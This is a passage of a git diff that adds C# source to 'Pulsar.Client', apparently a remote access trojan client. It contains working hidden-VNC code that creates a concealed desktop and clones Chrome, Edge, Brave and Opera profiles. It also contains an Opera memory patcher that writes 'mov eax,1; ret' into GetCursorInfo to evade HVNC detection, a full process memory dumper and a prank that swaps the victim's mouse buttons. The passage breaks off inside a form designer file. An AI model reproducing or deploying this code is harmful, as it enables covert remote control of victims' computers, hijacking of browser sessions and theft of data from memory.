{ + PROCESS_CREATE_PROCESS = 0x0080, + PROCESS_QUERY_INFORMATION = 0x0400, + PROCESS_VM_READ = 0x0010 + } + + private const int PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = 0x00020000; + private const int PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY = 0x00020007; + private const long PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON = 0x100000000000; + } +} \ No newline at end of file diff --git a/Pulsar.Client/FunStuff/SwapMouseButtons.cs b/Pulsar.Client/FunStuff/SwapMouseButtons.cs new file mode 100644 index 0000000..3ef39e3 --- /dev/null +++ b/Pulsar.Client/FunStuff/SwapMouseButtons.cs @@ -0,0 +1,26 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Runtime.InteropServices; +using System.Text; +using System.Threading.Tasks; + +namespace Pulsar.Client.FunStuff +{ + public class SwapMouseButtons + { + [DllImport("user32.dll")] + public static extern bool SwapMouseButton(bool swap); + + [DllImport("user32.dll")] + public static extern int GetSystemMetrics(int nIndex); + + private const int SM_SWAPBUTTON = 23; + + public static void SwapMouse() + { + bool isSwapped = (GetSystemMetrics(SM_SWAPBUTTON) != 0); + SwapMouseButton(!isSwapped); + } + } +} diff --git a/Pulsar.Client/Helper/.DS_Store b/Pulsar.Client/Helper/.DS_Store new file mode 100644 index 0000000000000000000000000000000000000000..abe3b097ab4139f8d9e5f8b0d3e83799ef79bfb6 GIT binary patch literal 6148 zcmeHKJ5B>J5PeP-fd~Z!LX=xklN)S8f@q*11X@S}0g<2h6m%Gg zXu?w!%78NP7a5ReH^Mr0u!+^+`7PYsWo`Xot=8%dThz&6u=aTWTnX)+FYTkF%-K+6 zBv3*FZJgqOp8?nBxWFL}gDTLx%=gUJlH#}$6>9n_0!SMN6VafTCY z5CBOA((hf z9onOVlf42EBdV=%ZF>(f76mc!m^!3}Vq7TEg&KdwFfN?>*!v|OQ->}b#%AU|KC|&R z6l1efA6s{r#G%g0fHDv=;NHS9Fa5usfBz4I^qVrE4E!qwOjK*ss{Bd5w@&;x>9sM( r9*2ndr4DTfC*O|kLR#?>hZWjlSr8MCsY7Zg`XXRy&`BBiRR&%G`PQHi literal 0 HcmV?d00001 diff --git a/Pulsar.Client/Helper/DateTimeHelper.cs b/Pulsar.Client/Helper/DateTimeHelper.cs new file mode 100644 index 0000000..fbf5297 --- /dev/null +++ b/Pulsar.Client/Helper/DateTimeHelper.cs @@ -0,0 +1,16 @@ +ο»Ώusing System; + +namespace Pulsar.Client.Helper +{ + public static class DateTimeHelper + { + public static string GetLocalTimeZone() + { + var tz = TimeZoneInfo.Local; + var tzOffset = tz.GetUtcOffset(DateTime.Now); + var tzOffsetSign = tzOffset >= TimeSpan.Zero ? "+" : ""; + var tzName = tz.SupportsDaylightSavingTime && tz.IsDaylightSavingTime(DateTime.Now) ? tz.DaylightName : tz.StandardName; + return $"{tzName} (UTC {tzOffsetSign}{tzOffset.Hours}{(tzOffset.Minutes != 0 ? $":{Math.Abs(tzOffset.Minutes)}" : "")})"; + } + } +} diff --git a/Pulsar.Client/Helper/DumpHelper.cs b/Pulsar.Client/Helper/DumpHelper.cs new file mode 100644 index 0000000..6631c2d --- /dev/null +++ b/Pulsar.Client/Helper/DumpHelper.cs @@ -0,0 +1,46 @@ +ο»Ώusing Pulsar.Client.Utilities; +using System; +using System.IO; +using System.Diagnostics; + +namespace Pulsar.Client.Helper +{ + public static class DumpHelper + { + /// + /// Dumps a processes memory to a temporary file, then reads the bytes and deletes the file. + /// + /// Process id of the process to dump + /// What kind of memory dump to do + /// + public static (string, bool) GetProcessDump(int pid, NativeMethods.MiniDumpType type = NativeMethods.MiniDumpType.MiniDumpWithFullMemory) + { + Process process = Process.GetProcessById(pid); + string tmpFile = Path.GetTempFileName(); + try + { + bool success = false; + using (FileStream fs = new FileStream(tmpFile, FileMode.Create, FileAccess.Write, FileShare.None)) + { + success = NativeMethods.MiniDumpWriteDump( + process.Handle, + process.Id, + fs.SafeFileHandle.DangerousGetHandle(), + type, + IntPtr.Zero, + IntPtr.Zero, + IntPtr.Zero); + } + if (success) + { + return (tmpFile, true); + } + } + catch (Exception ex) + { + return (ex.ToString(), false); + } + return ("", false); + } + } +} diff --git a/Pulsar.Client/Helper/HVNC/BrowserCloneProgress.cs b/Pulsar.Client/Helper/HVNC/BrowserCloneProgress.cs new file mode 100644 index 0000000..4f0b709 --- /dev/null +++ b/Pulsar.Client/Helper/HVNC/BrowserCloneProgress.cs @@ -0,0 +1,65 @@ +using System; + +namespace Pulsar.Client.Helper.HVNC +{ + /// + /// Represents the progress state while cloning a browser profile directory. + /// + internal readonly struct BrowserCloneProgress + { + public BrowserCloneProgress(int filesCopied, int totalFiles, string currentItem, bool isIndeterminate = false) + { + FilesCopied = filesCopied; + TotalFiles = totalFiles; + CurrentItem = currentItem ?? string.Empty; + IsIndeterminate = isIndeterminate; + } + + /// + /// Gets the number of files copied so far. + /// + public int FilesCopied { get; } + + /// + /// Gets the total number of files scheduled for cloning. + /// + public int TotalFiles { get; } + + /// + /// Gets the relative path of the item currently being cloned. + /// + public string CurrentItem { get; } + + /// + /// Indicates whether the operation is currently in an indeterminate state. + /// + public bool IsIndeterminate { get; } + + /// + /// Gets the progress percentage (0-100) when the total file count is known. + /// + public int Percent + { + get + { + if (TotalFiles <= 0) + { + return 0; + } + + double raw = (double)FilesCopied / TotalFiles * 100d; + if (raw < 0d) + { + return 0; + } + + if (raw > 100d) + { + return 100; + } + + return (int)Math.Round(raw); + } + } + } +} diff --git a/Pulsar.Client/Helper/HVNC/BrowserCloneProgressSession.cs b/Pulsar.Client/Helper/HVNC/BrowserCloneProgressSession.cs new file mode 100644 index 0000000..a507a0e --- /dev/null +++ b/Pulsar.Client/Helper/HVNC/BrowserCloneProgressSession.cs @@ -0,0 +1,262 @@ +using System; +using System.Diagnostics; +using System.Runtime.InteropServices; +using System.Threading; +using System.Threading.Tasks; +using System.Windows.Forms; + +namespace Pulsar.Client.Helper.HVNC +{ + /// + /// Manages the small progress form shown when cloning browser profiles so users can observe the operation. + /// + internal sealed class BrowserCloneProgressSession : IDisposable + { + private const string HvncDesktopName = "PulsarDesktop"; + + private readonly CloneProgressForm _form; + private readonly Progress _progress; + private readonly CancellationTokenSource _cts; + private readonly EventHandler _cancelHandler; + private bool _completed; + private bool _disposed; + + private BrowserCloneProgressSession(CloneProgressForm form) + { + _form = form; + _cts = new CancellationTokenSource(); + _cancelHandler = (sender, args) => RequestCancel(); + _form.UserRequestedCancel += _cancelHandler; + _progress = new Progress(state => + { + if (!_form.IsDisposed) + { + _form.UpdateProgress(state); + } + }); + } + + /// + /// Gets a progress reporter that can be used from background threads. + /// + public IProgress Progress => _progress; + + /// + /// Gets a token that is cancelled when the user closes the progress UI. + /// + public CancellationToken CancellationToken => _cts.Token; + + public void ReportPreparing() + { + InvokeOnUi(() => _form.ShowPreparing()); + } + + public Task ReportCompletionAsync(bool wasSuccessful) + { + if (_completed) + { + return Task.CompletedTask; + } + + _completed = true; + + if (_form.IsDisposed) + { + return Task.CompletedTask; + } + + var completionSource = new TaskCompletionSource(TaskCreationOptions.RunContinuationsAsynchronously); + InvokeOnUi(() => _form.BeginCompleteAnimation(wasSuccessful, () => completionSource.TrySetResult(null))); + return completionSource.Task; + } + + public static Task TryCreateAsync(string browserName) + { + var completion = new TaskCompletionSource(TaskCreationOptions.RunContinuationsAsynchronously); + + var uiThread = new Thread(() => + { + IntPtr desktopHandle = IntPtr.Zero; + BrowserCloneProgressSession session = null; + + try + { + desktopHandle = DesktopInterop.OpenOrCreate(HvncDesktopName, out int openError); + if (desktopHandle == IntPtr.Zero) + { + Debug.WriteLine($"[BrowserCloneProgressSession] Failed to open or create desktop '{HvncDesktopName}'. Win32 error: {openError}"); + completion.TrySetResult(null); + return; + } + + if (!DesktopInterop.TrySetThreadDesktop(desktopHandle)) + { + int threadError = Marshal.GetLastWin32Error(); + Debug.WriteLine($"[BrowserCloneProgressSession] SetThreadDesktop failed with error {threadError} for desktop '{HvncDesktopName}'."); + completion.TrySetResult(null); + return; + } + + var form = new CloneProgressForm(); + form.Initialize(browserName); + + void HandleCreated(object sender, EventArgs args) + { + form.HandleCreated -= HandleCreated; + + try + { + session = new BrowserCloneProgressSession(form); + completion.TrySetResult(session); + } + catch (Exception ex) + { + Debug.WriteLine($"[BrowserCloneProgressSession] Failed to initialize progress session: {ex.Message}"); + completion.TrySetResult(null); + form.BeginInvoke(new Action(form.Close)); + } + } + + form.HandleCreated += HandleCreated; + form.FormClosed += (_, __) => Application.ExitThread(); + + Application.Run(form); + + if (!completion.Task.IsCompleted) + { + completion.TrySetResult(session); + } + } + catch (Exception ex) + { + Debug.WriteLine($"[BrowserCloneProgressSession] Exception while creating progress UI: {ex.Message}"); + completion.TrySetResult(null); + } + finally + { + DesktopInterop.Release(desktopHandle); + } + }) + { + IsBackground = true, + Name = "Pulsar HVNC Progress UI" + }; + + uiThread.SetApartmentState(ApartmentState.STA); + uiThread.Start(); + + return completion.Task; + } + + public void Dispose() + { + if (_disposed) + { + return; + } + + _disposed = true; + + _form.UserRequestedCancel -= _cancelHandler; + + InvokeOnUi(() => + { + if (!_form.IsDisposed) + { + _form.Close(); + _form.Dispose(); + } + }); + + _cts.Dispose(); + } + + private void RequestCancel() + { + if (_disposed) + { + return; + } + + if (!_cts.IsCancellationRequested) + { + _cts.Cancel(); + } + } + + private void InvokeOnUi(Action action) + { + if (_form.IsDisposed) + { + return; + } + + if (_form.InvokeRequired) + { + try + { + _form.BeginInvoke(action); + } + catch (ObjectDisposedException) + { + // ignored + } + } + else + { + action(); + } + } + + private static class DesktopInterop + { + private const uint DesktopAccessMask = 0x000001FF; + + [DllImport("user32.dll", CharSet = CharSet.Unicode, SetLastError = true)] + private static extern IntPtr OpenDesktop(string lpszDesktop, int dwFlags, bool fInherit, uint dwDesiredAccess); + + [DllImport("user32.dll", CharSet = CharSet.Unicode, SetLastError = true)] + private static extern IntPtr CreateDesktop(string lpszDesktop, IntPtr lpszDevice, IntPtr pDevmode, int dwFlags, uint dwDesiredAccess, IntPtr lpsa); + + [DllImport("user32.dll", SetLastError = true)] + private static extern bool SetThreadDesktop(IntPtr hDesktop); + + [DllImport("user32.dll", SetLastError = true)] + private static extern bool CloseDesktop(IntPtr hDesktop); + + public static IntPtr OpenOrCreate(string desktopName, out int lastError) + { + lastError = 0; + + IntPtr handle = OpenDesktop(desktopName, 0, true, DesktopAccessMask); + if (handle != IntPtr.Zero) + { + return handle; + } + + lastError = Marshal.GetLastWin32Error(); + + handle = CreateDesktop(desktopName, IntPtr.Zero, IntPtr.Zero, 0, DesktopAccessMask, IntPtr.Zero); + if (handle == IntPtr.Zero) + { + lastError = Marshal.GetLastWin32Error(); + } + + return handle; + } + + public static bool TrySetThreadDesktop(IntPtr handle) + { + return handle != IntPtr.Zero && SetThreadDesktop(handle); + } + + public static void Release(IntPtr handle) + { + if (handle != IntPtr.Zero) + { + CloseDesktop(handle); + } + } + } + } +} diff --git a/Pulsar.Client/Helper/HVNC/BrowserConfiguration.cs b/Pulsar.Client/Helper/HVNC/BrowserConfiguration.cs new file mode 100644 index 0000000..15e96f5 --- /dev/null +++ b/Pulsar.Client/Helper/HVNC/BrowserConfiguration.cs @@ -0,0 +1,146 @@ +using System; +using System.Collections.Generic; +using System.IO; + +namespace Pulsar.Client.Helper.HVNC +{ + /// + /// Configuration for browser injection including paths and parameters + /// + public class BrowserConfig + { + public string ExecutablePath { get; set; } + public string SearchPattern { get; set; } + public string ReplacementPath { get; set; } + } + + /// + /// Manages browser configurations for HVNC injection + /// + public static class BrowserConfiguration + { + private static readonly Dictionary BrowserConfigs = new Dictionary(StringComparer.OrdinalIgnoreCase) + { + { + "Chrome", new BrowserConfig + { + ExecutablePath = Path.Combine(Environment.GetEnvironmentVariable("PROGRAMFILES"), "Google\\Chrome\\Application\\chrome.exe"), + SearchPattern = "Local\\Google\\Chrome\\User Data", + ReplacementPath = "Local\\Google\\Chrome\\KDOT" + } + }, + { + "ChromeX86", new BrowserConfig + { + ExecutablePath = Path.Combine(Environment.GetEnvironmentVariable("PROGRAMFILES(X86)"), "Google\\Chrome\\Application\\chrome.exe"), + SearchPattern = "Local\\Google\\Chrome\\User Data", + ReplacementPath = "Local\\Google\\Chrome\\KDOT" + } + }, + { + "Edge", new BrowserConfig + { + ExecutablePath = Path.Combine(Environment.GetEnvironmentVariable("PROGRAMFILES(X86)"), "Microsoft\\Edge\\Application\\msedge.exe"), + SearchPattern = "Local\\Microsoft\\Edge\\User Data", + ReplacementPath = "Local\\Microsoft\\Edge\\KDOT" + } + }, + { + "Brave", new BrowserConfig + { + ExecutablePath = Path.Combine(Environment.GetEnvironmentVariable("PROGRAMFILES"), "BraveSoftware\\Brave-Browser\\Application\\brave.exe"), + SearchPattern = "Local\\BraveSoftware\\Brave-Browser\\User Data", + ReplacementPath = "Local\\BraveSoftware\\Brave-Browser\\KDOT" + } + }, + { + "Opera", new BrowserConfig + { + ExecutablePath = Path.Combine(Environment.GetEnvironmentVariable("LOCALAPPDATA"), "Programs\\Opera\\opera.exe"), + SearchPattern = "Roaming\\Opera Software\\Opera Stable", + ReplacementPath = "Roaming\\Opera Software\\KDOT" + } + }, + { + "OperaGX", new BrowserConfig + { + ExecutablePath = Path.Combine(Environment.GetEnvironmentVariable("LOCALAPPDATA"), "Programs\\Opera GX\\opera.exe"), + SearchPattern = "Roaming\\Opera Software\\Opera GX Stable", + ReplacementPath = "Roaming\\Opera Software\\KDOT" + } + } + }; + + /// + /// Gets the browser configuration for the specified browser type + /// + /// Type of browser (Chrome, Edge, Brave, etc.) + /// Browser configuration or null if not found + public static BrowserConfig GetConfig(string browserType) + { + if (string.IsNullOrWhiteSpace(browserType)) + return null; + + if (BrowserConfigs.TryGetValue(browserType, out var config)) + { + return config; + } + + return null; + } + + /// + /// Gets the first valid Chrome configuration (checks both64-bit and32-bit) + /// + /// Valid Chrome configuration or null if Chrome is not installed + public static BrowserConfig GetChromeConfig() + { + var chromeConfig = GetConfig("Chrome"); + if (chromeConfig != null) + { + try + { + if (!string.IsNullOrEmpty(chromeConfig.ExecutablePath) && File.Exists(chromeConfig.ExecutablePath)) + { + return chromeConfig; + } + } + catch + { + // ignore and continue + } + } + + var chromeX86 = GetConfig("ChromeX86"); + if (chromeX86 != null) + { + try + { + if (!string.IsNullOrEmpty(chromeX86.ExecutablePath) && File.Exists(chromeX86.ExecutablePath)) + { + return chromeX86; + } + } + catch + { + // ignore + } + } + + return null; + } + + /// + /// Validates if the browser executable exists + /// + /// Browser configuration to validate + /// True if executable exists, false otherwise + public static bool ValidateConfig(BrowserConfig config) + { + if (config == null) + return false; + + return File.Exists(config.ExecutablePath); + } + } +} \ No newline at end of file diff --git a/Pulsar.Client/Helper/HVNC/Chromium/OperaPatcher.cs b/Pulsar.Client/Helper/HVNC/Chromium/OperaPatcher.cs new file mode 100644 index 0000000..884e046 --- /dev/null +++ b/Pulsar.Client/Helper/HVNC/Chromium/OperaPatcher.cs @@ -0,0 +1,453 @@ +using System; +using System.Diagnostics; +using System.Linq; +using System.Runtime.InteropServices; +using System.Text; +using System.Threading; +using System.Threading.Tasks; + +namespace Pulsar.Client.Helper.HVNC.Chromium +{ + /// + /// Opera memory patcher that patches GetCursorInfo function to always return success + /// This prevents Opera from detecting HVNC environments by bypassing cursor detection + /// + /// Usage: + /// - Automatic: The patcher is automatically called when using ProcessController.StartOpera() or StartOperaGX() + /// - Manual: Call OperaPatcher.PatchOperaProcesses() to patch all running Opera processes + /// - Async: Use OperaPatcher.PatchOperaAsync() for non-blocking patching with retry logic + /// + /// How it works: + /// 1. Finds all running Opera processes with main windows + /// 2. Locates the GetCursorInfo function in user32.dll within each process + /// 3. Patches the function to return 1 (success) immediately using assembly: mov eax, 1; ret + /// 4. This bypasses Opera's cursor detection used to identify HVNC environments + /// + /// The patch is applied in memory and does not modify files on disk. + /// + public class OperaPatcher + { + #region Win32 API Imports + + [DllImport("kernel32.dll", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)] + private static extern IntPtr GetProcAddress(IntPtr hModule, string procName); + + [DllImport("kernel32.dll")] + private static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect); + + [DllImport("kernel32.dll")] + public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int nSize, ref int lpNumberOfBytesWritten); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, uint dwProcessId); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern bool CloseHandle(IntPtr hObject); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern IntPtr LoadLibrary(string lpFileName); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern uint GetLastError(); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint dwSize, out int lpNumberOfBytesRead); + + [DllImport("psapi.dll", SetLastError = true)] + private static extern bool EnumProcessModules( + IntPtr hProcess, + [Out] IntPtr[] lphModule, + int cb, + out int lpcbNeeded); + + [DllImport("psapi.dll")] + private static extern uint GetModuleFileNameEx( + IntPtr hProcess, + IntPtr hModule, + [Out] StringBuilder lpBaseName, + int nSize); + + [DllImport("advapi32.dll", SetLastError = true)] + private static extern bool OpenProcessToken(IntPtr ProcessHandle, uint DesiredAccess, out IntPtr TokenHandle); + + [DllImport("advapi32.dll", SetLastError = true)] + private static extern bool LookupPrivilegeValue(string lpSystemName, string lpName, out LUID lpLuid); + + [DllImport("advapi32.dll", SetLastError = true)] + private static extern bool AdjustTokenPrivileges(IntPtr TokenHandle, bool DisableAllPrivileges, ref TOKEN_PRIVILEGES NewState, uint BufferLength, IntPtr PreviousState, IntPtr ReturnLength); + + #endregion Win32 API Imports + + #region Structs and Constants + + [StructLayout(LayoutKind.Sequential)] + private struct LUID + { + public uint LowPart; + public int HighPart; + } + + [StructLayout(LayoutKind.Sequential)] + private struct TOKEN_PRIVILEGES + { + public uint PrivilegeCount; + public LUID Luid; + public uint Attributes; + } + + private const uint TOKEN_ADJUST_PRIVILEGES = 0x0020; + private const uint TOKEN_QUERY = 0x0008; + private const uint SE_PRIVILEGE_ENABLED = 0x00000002; + private const uint PROCESS_ALL_ACCESS = 0x001F0FFF; + private const uint PAGE_EXECUTE_READWRITE = 0x40; + + #endregion Structs and Constants + + /// + /// Patches Opera processes to bypass HVNC detection + /// + /// True if at least one Opera process was successfully patched + public static bool PatchOperaProcesses() + { + bool anyPatched = false; + + try + { + // Find all Opera processes + Process[] operaProcesses = Process.GetProcessesByName("opera") + .Where(p => p.MainWindowHandle != IntPtr.Zero) + .ToArray(); + + if (operaProcesses.Length == 0) + { + Debug.WriteLine("No Opera processes found with main window"); + return false; + } + + foreach (var process in operaProcesses) + { + try + { + Debug.WriteLine($"Attempting to patch Opera process PID: {process.Id}"); + + if (EnableDebugPrivilege(process.Id)) + { + Debug.WriteLine("Debug privilege enabled successfully"); + } + else + { + Debug.WriteLine("Failed to enable debug privilege, continuing anyway"); + } + + if (PatchOperaProcess(process.Id)) + { + Debug.WriteLine($"Successfully patched Opera PID: {process.Id}"); + anyPatched = true; + } + else + { + Debug.WriteLine($"Failed to patch Opera PID: {process.Id}"); + } + } + catch (Exception ex) + { + Debug.WriteLine($"Error patching Opera process {process.Id}: {ex.Message}"); + } + } + } + catch (Exception ex) + { + Debug.WriteLine($"Error in PatchOperaProcesses: {ex.Message}"); + } + + return anyPatched; + } + + /// + /// Patches a specific Opera process by PID + /// + /// Process ID of the Opera process to patch + /// True if the process was successfully patched + public static bool PatchOperaProcess(int pid) + { + try + { + IntPtr addr = RemoteGetProcAddress(pid, "user32.dll", "GetCursorInfo"); + if (addr == IntPtr.Zero) + { + Debug.WriteLine("Failed to find GetCursorInfo function address"); + return false; + } + + Debug.WriteLine($"GetCursorInfo address: 0x{addr.ToInt64():X}"); + + // Assembly: mov eax, 1; ret (returns 1/TRUE for success) + byte[] patchBytes = new byte[] { 0xB8, 0x01, 0x00, 0x00, 0x00, 0xC3 }; + + IntPtr handle = OpenProcess(PROCESS_ALL_ACCESS, false, (uint)pid); + if (handle == IntPtr.Zero) + { + Debug.WriteLine($"Failed to open process. Error: {GetLastError()}"); + return false; + } + + try + { + uint oldProtect = 0; + if (!VirtualProtectEx(handle, addr, (uint)patchBytes.Length, PAGE_EXECUTE_READWRITE, out oldProtect)) + { + Debug.WriteLine($"Failed to change memory protection. Error: {GetLastError()}"); + return false; + } + + int bytesWritten = 0; + if (!WriteProcessMemory(handle, addr, patchBytes, patchBytes.Length, ref bytesWritten)) + { + Debug.WriteLine($"Failed to write to process memory. Error: {GetLastError()}"); + return false; + } + + Debug.WriteLine($"Successfully wrote {bytesWritten} bytes"); + + byte[] verifyBuffer = new byte[patchBytes.Length]; + int bytesRead = 0; + if (ReadProcessMemory(handle, addr, verifyBuffer, (uint)verifyBuffer.Length, out bytesRead)) + { + bool patchVerified = bytesRead == patchBytes.Length; + for (int i = 0; i < bytesRead && patchVerified; i++) + { + if (verifyBuffer[i] != patchBytes[i]) + { + patchVerified = false; + } + } + + if (patchVerified) + { + Debug.WriteLine("Patch verified successfully"); + } + else + { + Debug.WriteLine("Patch verification failed"); + } + } + + uint dummy; + VirtualProtectEx(handle, addr, (uint)patchBytes.Length, oldProtect, out dummy); + + return bytesWritten == patchBytes.Length; + } + finally + { + CloseHandle(handle); + } + } + catch (Exception ex) + { + Debug.WriteLine($"Error in PatchOperaProcess: {ex.Message}"); + return false; + } + } + + /// + /// Gets the remote address of a function in another process + /// + private static IntPtr RemoteGetProcAddress(int processId, string dllName, string functionName) + { + IntPtr processHandle = IntPtr.Zero; + + try + { + processHandle = OpenProcess(PROCESS_ALL_ACCESS, false, (uint)processId); + if (processHandle == IntPtr.Zero) + { + Debug.WriteLine($"Failed to open process with ID {processId}. Error code: {GetLastError()}"); + return IntPtr.Zero; + } + + IntPtr localModuleHandle = LoadLibrary(dllName); + if (localModuleHandle == IntPtr.Zero) + { + Debug.WriteLine($"Failed to load local module '{dllName}'. Error code: {GetLastError()}"); + return IntPtr.Zero; + } + + IntPtr localFunctionAddress = GetProcAddress(localModuleHandle, functionName); + if (localFunctionAddress == IntPtr.Zero) + { + Debug.WriteLine($"Function '{functionName}' not found in '{dllName}'. Error code: {GetLastError()}"); + return IntPtr.Zero; + } + + long offset = localFunctionAddress.ToInt64() - localModuleHandle.ToInt64(); + Debug.WriteLine($"Function offset: 0x{offset:X}"); + + IntPtr remoteModuleBase = GetRemoteModuleHandle(processHandle, dllName); + if (remoteModuleBase == IntPtr.Zero) + { + Debug.WriteLine($"Module '{dllName}' not found in process {processId}"); + return IntPtr.Zero; + } + + IntPtr remoteFunctionAddress = new IntPtr(remoteModuleBase.ToInt64() + offset); + Debug.WriteLine($"Remote function address: 0x{remoteFunctionAddress.ToInt64():X}"); + + return remoteFunctionAddress; + } + catch (Exception ex) + { + Debug.WriteLine($"Error in RemoteGetProcAddress: {ex.Message}"); + return IntPtr.Zero; + } + finally + { + if (processHandle != IntPtr.Zero) + { + CloseHandle(processHandle); + } + } + } + + /// + /// Gets the base address of a module in a remote process + /// + private static IntPtr GetRemoteModuleHandle(IntPtr processHandle, string moduleName) + { + try + { + IntPtr[] moduleHandles = new IntPtr[1024]; + int bytesNeeded; + + if (!EnumProcessModules(processHandle, moduleHandles, Marshal.SizeOf(typeof(IntPtr)) * moduleHandles.Length, out bytesNeeded)) + { + Debug.WriteLine($"Failed to enumerate modules. Error code: {GetLastError()}"); + return IntPtr.Zero; + } + + int moduleCount = bytesNeeded / Marshal.SizeOf(typeof(IntPtr)); + StringBuilder moduleNameBuffer = new StringBuilder(256); + + string targetName = moduleName.ToLower(); + + for (int i = 0; i < moduleCount; i++) + { + GetModuleFileNameEx(processHandle, moduleHandles[i], moduleNameBuffer, moduleNameBuffer.Capacity); + string currentModuleName = moduleNameBuffer.ToString(); + + string fileName = System.IO.Path.GetFileName(currentModuleName).ToLower(); + + if (fileName == targetName || fileName == targetName + ".dll") + { + return moduleHandles[i]; + } + } + + return IntPtr.Zero; + } + catch (Exception ex) + { + Debug.WriteLine($"Error in GetRemoteModuleHandle: {ex.Message}"); + return IntPtr.Zero; + } + } + + /// + /// Enables debug privilege for the specified process + /// + private static bool EnableDebugPrivilege(int processId) + { + IntPtr processHandle = IntPtr.Zero; + IntPtr tokenHandle = IntPtr.Zero; + + try + { + processHandle = OpenProcess(PROCESS_ALL_ACCESS, false, (uint)processId); + if (processHandle == IntPtr.Zero) + { + Debug.WriteLine("Failed to open process for debug privilege"); + return false; + } + + if (!OpenProcessToken(processHandle, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, out tokenHandle)) + { + Debug.WriteLine("Failed to open process token"); + return false; + } + + LUID luid; + if (!LookupPrivilegeValue(null, "SeDebugPrivilege", out luid)) + { + Debug.WriteLine("Failed to lookup privilege value"); + return false; + } + + TOKEN_PRIVILEGES tokenPrivileges = new TOKEN_PRIVILEGES + { + PrivilegeCount = 1, + Luid = luid, + Attributes = SE_PRIVILEGE_ENABLED + }; + + if (!AdjustTokenPrivileges(tokenHandle, false, ref tokenPrivileges, 0, IntPtr.Zero, IntPtr.Zero)) + { + Debug.WriteLine("Failed to adjust token privileges"); + return false; + } + + return true; + } + catch (Exception ex) + { + Debug.WriteLine($"Error in EnableDebugPrivilege: {ex.Message}"); + return false; + } + finally + { + if (tokenHandle != IntPtr.Zero) + CloseHandle(tokenHandle); + if (processHandle != IntPtr.Zero) + CloseHandle(processHandle); + } + } + + /// + /// Asynchronously patches Opera processes with retry logic + /// + /// Maximum number of retry attempts + /// Delay between retry attempts in milliseconds + /// Task that completes when patching is done + public static async Task PatchOperaAsync(int maxRetries = 5, int delayBetweenRetries = 2000) + { + await Task.Run(async () => + { + for (int attempt = 0; attempt < maxRetries; attempt++) + { + try + { + if (PatchOperaProcesses()) + { + Debug.WriteLine("Opera patching completed successfully"); + return; + } + + if (attempt < maxRetries - 1) + { + Debug.WriteLine($"Opera patching attempt {attempt + 1} failed, retrying in {delayBetweenRetries}ms"); + await Task.Delay(delayBetweenRetries); + } + } + catch (Exception ex) + { + Debug.WriteLine($"Opera patching attempt {attempt + 1} failed with exception: {ex.Message}"); + if (attempt < maxRetries - 1) + { + await Task.Delay(delayBetweenRetries); + } + } + } + + Debug.WriteLine("All Opera patching attempts failed"); + }); + } + } +} diff --git a/Pulsar.Client/Helper/HVNC/CloneProgressForm.Designer.cs b/Pulsar.Client/Helper/HVNC/CloneProgressForm.Designer.cs new file mode 100644 index 0000000..f216efd --- /dev/null +++ b/Pulsar.Client/Helper/HVNC/CloneProgressForm.Designer.cs @@ -0,0 +1,114 @@ +namespace Pulsar.Client.Helper.HVNC +{ + partial class CloneProgressForm + { + private System.ComponentModel.IContainer components = null; + private System.Windows.Forms.Label lblTitle; + private System.Windows.Forms.Label lblDetail; + private System.Windows.Forms.ProgressBar progressBar; + private System.Windows.Forms.Button btnCancel; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + private void InitializeComponent() + { + this.components = new System.ComponentModel.Container(); + this.lblTitle = new System.Windows.Forms.Label(); + this.lblDetail = new System.Windows.Forms.Label(); + this.progressBar = new System.Windows.Forms.ProgressBar(); + this.btnCancel = new System.Windows.Forms.Button(); + this.SuspendLayout(); + // + // lblTitle + // + this.lblTitle.AutoSize = false; + this.lblTitle.Dock = System.Windows.Forms.DockStyle.Top; + this.lblTitle.Font = new System.Drawing.Font("Segoe UI", 9F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point); + this.lblTitle.Location = new System.Drawing.Point(10, 10); + this.lblTitle.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblTitle.Name = "lblTitle"; + this.lblTitle.Size = new System.Drawing.Size(280, 20); + this.lblTitle.TabIndex = 0; + this.lblTitle.Text = "Cloning browser profile..."; + this.lblTitle.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; + // + // lblDetail + // + this.lblDetail.AutoEllipsis = true; + this.lblDetail.Dock = System.Windows.Forms.DockStyle.Top; + this.lblDetail.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point); + this.lblDetail.Location = new System.Drawing.Point(10, 30); + this.lblDetail.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblDetail.Name = "lblDetail"; + this.lblDetail.Size = new System.Drawing.Size(280, 17); + this.lblDetail.TabIndex = 1; + this.lblDetail.Text = "Preparing..."; + this.lblDetail.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; + // + // progressBar + // + this.progressBar.Dock = System.Windows.Forms.DockStyle.Top; + this.progressBar.Location = new System.Drawing.Point(10, 50); + this.progressBar.Margin = new System.Windows.Forms.Padding(4, 3, 4, 3); + this.progressBar.Name = "progressBar"; + this.progressBar.Size = new System.Drawing.Size(280, 15); + this.progressBar.Style = System.Windows.Forms.ProgressBarStyle.Marquee; + this.progressBar.TabIndex = 2; + // + // btnCancel + // + this.btnCancel.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); + this.btnCancel.FlatStyle = System.Windows.Forms.FlatStyle.System; + this.btnCancel.Location = new 